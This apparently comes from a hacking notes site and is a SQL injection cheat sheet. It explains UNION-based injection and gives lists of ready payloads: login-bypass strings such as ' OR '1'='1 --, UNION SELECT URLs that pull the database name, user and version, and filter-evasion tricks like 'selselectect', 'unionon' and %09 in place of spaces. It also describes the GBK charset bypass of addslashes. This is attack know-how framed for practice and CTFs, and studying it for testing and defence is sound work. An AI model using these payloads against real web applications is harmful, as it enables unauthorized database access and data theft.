Ctrlk
For the complete documentation index, see llms.txt. This page is also available as Markdown.

SQL Injections (sqli)

Basics

http://xyz.com/hello.php?id=1 and 1=2 union select 1,2,3

Falsify the First: Read the Basic-Statement carefully. We mash a second ‘select’ statement onto the first.. to give us a New result! Using 'and 1=2' forces the first half of the query = False This will Force the query to ignore the first, and only see our 'hacker select'

Union: The 'Union' command in SQL is used to Join two separate full select statements. So we call 'select 1,2,3' just as a 'test' to see if Injection works. select 1,2,3 would give us a result of 1,2,3 (it's not actually calling any data). But, "select * from teachers where id = 20" would give us data

Functions: You can 'select' in SQL to get function information: select user() select version()

Column Counts: If your query is complaining about columns.. you can add them: select datax, dataz, 3,4,5 .. or however many you need to add (remember 3,4,5 arent giving real data)

Quote Guessing:

  • Sometimes the quote markings are different depending on how the query is written. ****You will need to experiment with single-quotes and double-quotes, and comments. A comment is: -- Just two dashes put together. Everything after is ignored.

  • Sorry but - You will need to keep guessing different selects and quotes.. till you get it! This is a labor of love ... SQL Injection!

  • ALWAYS use a (space) after -- COMMENT .. ex: "1=1 -- "

'OR '1' = 1
' OR '1'='1
' OR '1'='1' {
' OR '1'='1' /* 
' OR '1'='1' --
' OR 1=1' --
' OR 1=1 --
" OR 1=1 -- 
' OR 1=1 LIMIT 1 --
") OR 1=1 --       
") OR "1"="1" --   
'OR1=1#            

http://xyz.com/hello.php?id=1 AND 1=2 UNION SELECT 1,2,3
http://xyz.com/hello.php?id=1 AND 1=2 UNION SELECT 1,2,3--
http://xyz.com/hello.php?id=1 AND 1=2 'UNION SELECT 1,2,3,4'--
http://xyz.com/hello.php?id=1' AND 1=2 UNION SELECT 1,2,3,4--'
http://xyz.com/hello.php?id=1 AND 1=2' UNION SELECT "a","b"--'
http://xyz.com/hello.php?id=1' AND 1=2 UNION SELECT database(),user(),version() --
http://xyz.com/hello.php?id=1 AND 1=2' UNION SELECT "../etc/somefile","b"--'

admin'||1=1#               .. MySql '||' means 'or' .. so no space needed!
admin'||1#

Inspect:

Sometimes an Injection works, but does not show up on screen. Get familiar with your Browser 'Inspect Elements'.. You might just my find your Injection was successful!!

Trimming:

Some sites protect against hacking through trimming. If a website got smart a tried to remove anything in the query spelled 'select'? Sending the word 'selselectect' ****.. gets trimmed to 'select'!! Or, if the filter is trimming the word: 'on' We could combat this by adding another 'on' for the word 'union' .. into 'unionon' After it is trimmed, the statement still reads 'union' What if your target is trimming for 'spaces'? That could be a real headache. Try using %09 (meaning 'tab' character) instead of a space. This might get you around it!

Pulling Data from other Tables

PHP Injections

Zixem CTF

SQLi GBK China

  • Rare, but interesting: GBK Charset for China

  • Conflict between php and sql Implemented badly, will allow bypass for injection!

  • 2006 method to bypass addslashes

  • It relies on the way MySQL will perform escaping. It will depend on the charset used by the connection. If the database driver is not aware of the charset used it will not perform the right escaping and create an exploitable situation. This exploit relies on the usage of GBK. GBK is a character set for simplified Chinese. Using the fact that the database driver and the database don't "talk" the same charset, it's possible to generate a single quote and break out of the SQL syntax to inject a payload.

PreviousShellshockNextSQLMap

Last updated